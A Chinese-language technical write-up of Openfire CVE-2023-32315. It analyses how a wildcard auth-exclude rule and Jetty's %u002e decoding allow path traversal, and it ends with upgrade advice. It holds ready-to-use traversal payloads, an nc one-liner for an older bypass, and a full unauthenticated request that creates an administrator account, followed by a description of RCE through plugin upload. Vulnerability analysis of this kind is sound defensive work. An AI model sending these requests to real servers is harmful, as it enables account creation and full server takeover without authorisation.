漏洞简介

Openfire 是一个实时协作(RTC)服务器,编写于 Java,它使用唯一被广泛采用的即时通讯开放协议 XMPP,并提供 Web 管理界面。

Openfire 的 API 定义了一种机制,允许使用通配符实现灵活的 URL 模式匹配以将某些 URL 从 Web 认证中排除。并且由于 Openfire 使用到的 Web 服务器支持解析非标准的 UTF-16 字符 URL 编码变体,导致了路径遍历漏洞。通配符模式匹配与路径遍历漏洞的组合可以使攻击者绕过认证访问后台管理控制台,最终通过后台上传恶意插件能够实现远程代码执行,完全地控制服务器权限。

影响版本

=3.10.0, <4.6.8
=4.7.0, <4.7.5

漏洞分析

通配符模式匹配致使的鉴权绕过

Openfire 的 API 定义了一种机制,可以将某些 URL 从 Web 认证中排除,此机制允许使用通配符,以实现灵活的 URL 模式匹配。在存在漏洞的 4.7.4 版本中,xmppserver/src/main/webapp/WEB-INF/web.xml配置文件的相关内容如下。

1
2
3
4
5
6
7
8
9
10
<filter>
<filter-name>AuthCheck</filter-name>
<filter-class>org.jivesoftware.admin.AuthCheckFilter</filter-class>
<init-param>
<param-name>excludes</param-name>
<param-value>
login.jsp,index.jsp?logout=true,setup/index.jsp,setup/setup-*,.gif,.png,error-serverdown.jsp,loginToken.jsp
</param-value>
</init-param>
</filter>

这里的本意是,符合如上列表中的文件,如登录页面、首次安装页面、静态图片/CSS 文件等,请求它们,便排除在 Web 认证之外。

通过版本对比,可以发现在安全的 4.7.5 版本中,setup/index.jspsetup/setup-*已经被删除了。

Openfire 的鉴权位于org.jivesoftware.admin.AuthCheckFilter类中的doFilter鉴权方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
// Do not allow framing; OF-997
response.setHeader("X-Frame-Options", JiveGlobals.getProperty("adminConsole.frame-options", "SAMEORIGIN"));
// Reset the defaultLoginPage variable
String loginPage = defaultLoginPage;
if (loginPage == null) {
loginPage = request.getContextPath() + (AuthFactory.isOneTimeAccessTokenEnabled() ? "/loginToken.jsp" : "/login.jsp");
}
// Get the page we're on:
String url = request.getRequestURI().substring(1);
if (url.startsWith("plugins/")) {
url = url.substring("plugins/".length());
}
// See if it's contained in the exclude list. If so, skip filter execution
boolean doExclude = false;
for (String exclude: excludes) {
if (testURLPassesExclude(url, exclude)) {
doExclude = true;
break;
}
}
if (!doExclude) {
WebManager manager = new WebManager();
manager.init(request, response, request.getSession(), context);
boolean haveOneTimeToken = manager.getAuthToken() instanceof AuthToken.OneTimeAuthToken;
User loggedUser = manager.getUser();
boolean loggedAdmin = loggedUser == null ? false : adminManager.isUserAdmin(loggedUser.getUsername(), true);
if (!haveOneTimeToken && !loggedAdmin && !authUserFromRequest(request)) {
response.sendRedirect(getRedirectURL(request, loginPage, null));
return;
}
}
chain.doFilter(req, res);
}

在其中,可以看到如下片段代码,对excludes列表进行循环,执行testURLPassesExclude(url, exclude)方法的判断,若testURLPassesExclude返回 true,那么doExclude的值也将为 true,循环将会 break,最终就能够成功实现鉴权绕过;否则当doExclude为 false 时,便会跳转登录页面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// See if it's contained in the exclude list. If so, skip filter execution
boolean doExclude = false;
for (String exclude: excludes) {
if (testURLPassesExclude(url, exclude)) {
doExclude = true;
break;
}
}
if (!doExclude) {
WebManager manager = new WebManager();
manager.init(request, response, request.getSession(), context);
boolean haveOneTimeToken = manager.getAuthToken() instanceof AuthToken.OneTimeAuthToken;
User loggedUser = manager.getUser();
boolean loggedAdmin = loggedUser == null ? false : adminManager.isUserAdmin(loggedUser.getUsername(), true);
if (!haveOneTimeToken && !loggedAdmin && !authUserFromRequest(request)) {
response.sendRedirect(getRedirectURL(request, loginPage, null));
return;
}
}
chain.doFilter(req, res);

这能够表明,testURLPassesExclude方法就是实现鉴权绕过的关键。

在对该方法做进一步分析前,先回顾一个十五年的漏洞。其实最早在 2008 年,v3.6.0 版本的 Openfire 就已经出现过一次路径遍历漏洞,漏洞编号是 CVE-2008-6508,该漏洞的 POC 如下。

1
GET /setup/setup-/../../log.jsp HTTP/1.1

官方在 v3.6.1 版本只考虑了对原始的..进行了判断和过滤,这样修复的并不彻底,如下经过 URL 编码的..的 payload 仍然能够进行绕过。

1
echo "GET /setup/setup-/%2E%2E/%2E%2E/log.jsp?log=info&mode=asc&lines=All" | nc localhost 9090

于是官方在 v3.6.2 版本中又对%2e的情况进行了判断和过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// v3.6.2
// src/java/org/jivesoftware/admin/AuthCheckFilter.java

public static boolean testURLPassesExclude(String url, String exclude) {
// ...
if (exclude.endsWith("*")) {
if (url.startsWith(exclude.substring(0, exclude.length() - 1))) {
// Now make sure that there are no ".." characters in the rest of the URL.
if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
return true;
}
}
}
// ...
return false;
}

这一段代码延续至今,在十几年后的 4.7.4 版本中依然没发生变化,4.7.4 版本的testURLPassesExclude方法内容如下,已省略部分无关代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static boolean testURLPassesExclude(String url, String exclude) {
// ...
// in the URL and then the resulting url must exactly match the exclude rule. If the exclude ends with a "*"
// character then the URL is allowed if it exactly matches everything before the * and there are no ".."
// characters after the "*". All data in the URL before

if (exclude.endsWith("*")) {
if (url.startsWith(exclude.substring(0, exclude.length() - 1))) {
// Now make sure that there are no ".." characters in the rest of the URL.
if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
return true;
}
}
}
// ...
return false;
}

通过漏洞 Reporter 在 CVE-2023-32315 的 GitHub Security Advisory 中提供的 POC /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp,可以发现这个路径恰恰是符合excludes列表中的setup/setup-*的通配符匹配。当二者共同传入进testURLPassesExclude方法中时,便能符合如上的几个判断,顺利返回 true 到doExclude中,使doExclude的值也为 true,最终便成功的绕过doExclude的鉴权,顺利到达 Openfire 的 Jetty Web 服务器,由其继续处理。

Jetty“新特性”致使的路径遍历

在早期版本的 Openfire 中,当时内置的 Jetty Web 服务器不支持解析%u002e这种编码,所以当时的安全补丁简单的过滤..%2e,对于早期版本的 Openfire 是足够了的。

但是在之后版本的 Openfire 中,使用的 Jetty Web 服务器能够支持这种非标准的 UTF-16 字符 URL 编码变体,这种“新特性”导致原本的路径遍历漏洞又一次地出现在 Openfire 中,此处的“新”是相对而言。

Openfire v4.7.4 中的 Jetty 版本为 9.4.43.v20210629,请求路径的处理位于org.eclipse.jetty.http.HttpURI类,跟进其中的parse方法,来到它的末尾关键代码片段。

1
2
3
4
5
6
7
8
9
else if (_path != null)
{
// The RFC requires this to be canonical before decoding, but this can leave dot segments and dot dot segments
// which are not canonicalized and could be used in an attempt to bypass security checks.
String decodedNonCanonical = URIUtil.decodePath(_path);
_decodedPath = URIUtil.canonicalPath(decodedNonCanonical);
if (_decodedPath == null)
throw new IllegalArgumentException("Bad URI");
}

这段代码会调用URIUtil.decodePath方法进行解码,然后使用URIUtil.canonicalPath对解码后的路径做规范化处理。

解码路径的方法位于org.eclipse.jetty.util.URIUtil#decodePath,完整内容如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public static String decodePath(String path, int offset, int length) {
try {
Utf8StringBuilder builder = null;
int end = offset + length;
for (int i = offset; i < end; i++) {
char c = path.charAt(i);
switch (c) {
case '%':
if (builder == null) {
builder = new Utf8StringBuilder(path.length());
builder.append(path, offset, i - offset);
}
if ((i + 2) < end) {
char u = path.charAt(i + 1);
if (u == 'u') {
// In Jetty-10 UTF16 encoding is only supported with UriCompliance.Violation.UTF16_ENCODINGS.
// This is wrong. This is a codepoint not a char
builder.append((char)(0xffff & TypeUtil.parseInt(path, i + 2, 4, 16)));
i += 5;
} else {
builder.append((byte)(0xff & (TypeUtil.convertHexDigit(u) * 16 + TypeUtil.convertHexDigit(path.charAt(i + 2)))));
i += 2;
}
} else {
throw new IllegalArgumentException("Bad URI % encoding");
}

break;

// ...

default:
if (builder != null)
builder.append(c);
break;
}
}

if (builder != null)
return builder.toString();
if (offset == 0 && length == path.length())
return path;
return path.substring(offset, end);
} catch (NotUtf8Exception e) {
LOG.debug(path.substring(offset, offset + length) + " " + e);
return decodeISO88591Path(path, offset, length);
} catch (IllegalArgumentException e) {
throw e;
} catch (Exception e) {
throw new IllegalArgumentException("cannot decode URI", e);
}
}

根据如上代码的逻辑,当传入%u002e字符串到decodePath方法时,它会对该字符串进行解码处理。

  1. 首先,方法进入循环,遍历字符串中的字符。

  2. 在循环中,遇到字符%,表示接下来的字符是需要解码的。

  3. 方法检查接下来的字符是否为u。因为%u002e中的u是小写的,所以会执行以下代码块:

    1
    2
    3
    4
    if (u == 'u') {
    builder.append((char)(0xffff & parseInt(path, i + 2, 4, 16)));
    i += 5;
    }
    • 方法调用TypeUtil.parseInt方法解析四个字符002e,并将解析结果作为一个字符添加到builder中。这里的TypeUtil.parseInt方法会将十六进制字符解析为对应的数值。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      public static int parseInt(String s, int offset, int length, int base) throws NumberFormatException {
      int value = 0;

      if (length < 0)
      length = s.length() - offset;

      for (int i = 0; i < length; i++) {
      char c = s.charAt(offset + i);

      int digit = convertHexDigit((int) c);
      if (digit < 0 || digit >= base)
      throw new NumberFormatException(s.substring(offset, offset + length));
      value = value * base + digit;
      }
      return value;
      }
    • 解析结果为.的 Unicode 码点(0x002e)。

    • (char)(0xffff & TypeUtil.parseInt(path, i + 2, 4, 16))将 Unicode 码点强制转换为一个字符,并将其添加到builder中。

    • i += 5用于跳过解码的字符,即%u002e中的u002e

  4. 循环继续,因为已经处理完%u002e,下一个字符是正常字符.

  5. 方法将.直接添加到builder中。

  6. 循环结束,根据builder的内容生成一个新的字符串,并将其返回。

当然,也可以运行看看实际的结果,创建一个新项目,并导入如下版本的 maven 依赖。

1
2
3
4
5
6
7
<dependencies><!-- https://mvnrepository.com/artifact/org.eclipse.jetty/jetty-util -->
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-util</artifactId>
<version>9.4.43.v20210629</version>
</dependency>
</dependencies>

然后编写如下代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.jetty;

import org.eclipse.jetty.util.URIUtil;

class Main {
public static void main(String[] args) {
String path = "/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp";

String decodedNonCanonical = URIUtil.decodePath(path);
System.out.println("decodedNonCanonical: " + decodedNonCanonical);
String decodedPath = URIUtil.canonicalPath(decodedNonCanonical);
if (decodedPath == null)
throw new IllegalArgumentException("Bad URI");
System.out.println("decodedPath: " + decodedPath);
}
}

首先URIUtil.decodePath/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp解码为/setup/setup-s/../../log.jsp,接着URIUtil.canonicalPath方法将该路径规范化处理成/log.jsp

1
2
3
2023-06-15 16:33:47.987:INFO::main: Logging initialized @272ms to org.eclipse.jetty.util.log.StdErrLog
decodedNonCanonical: /setup/setup-s/../../log.jsp
decodedPath: /log.jsp

在维基百科的说法中,%uxxxx这种形式的编码是一种非标准的 Unicode 字符编码方式,其中 xxxx 表示一个 UTF-16 代码单元,由四个十六进制数字表示。这种行为没有被任何 RFC 规范指定,并且被 W3C 拒绝。

漏洞利用

路径遍历

在一个未登录 Openfire 的浏览器中,通过如下请求路径,如果显示部分日志文件则表明存在漏洞,如果重定向到登录页面,则表明无漏洞。

1
http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

未授权用户创建

创建一个账号和密码为 admin2/admin2 的管理员用户。

1
2
3
4
5
6
7
8
9
10
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=Jm6f0wY78QMP8jj&username=admin2&name=admin2&email=admin2%40example.com&password=admin2&passwordConfirm=admin2&isadmin=on&create=Create+User HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Cache-Control: max-age=0


1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Connection: close
Date: Wed, 14 Jun 2023 06:47:48 GMT
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=utf-8
Set-Cookie: csrf=NX7COAs1lgRsMdd; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 6187


Exception:
……

插件上传实现 RCE

登录如上创建的管理员用户,在后台添加恶意插件然后实现远程代码执行。恶意插件的实现可以是自己基于 Openfire 已有的插件进行二开,也可以使用如下恶意插件。

修复建议

目前厂商已升级了安全版本以修复这个安全问题,请到厂商的发布主页下载安全版本:

https://github.com/igniterealtime/Openfire/releases

参考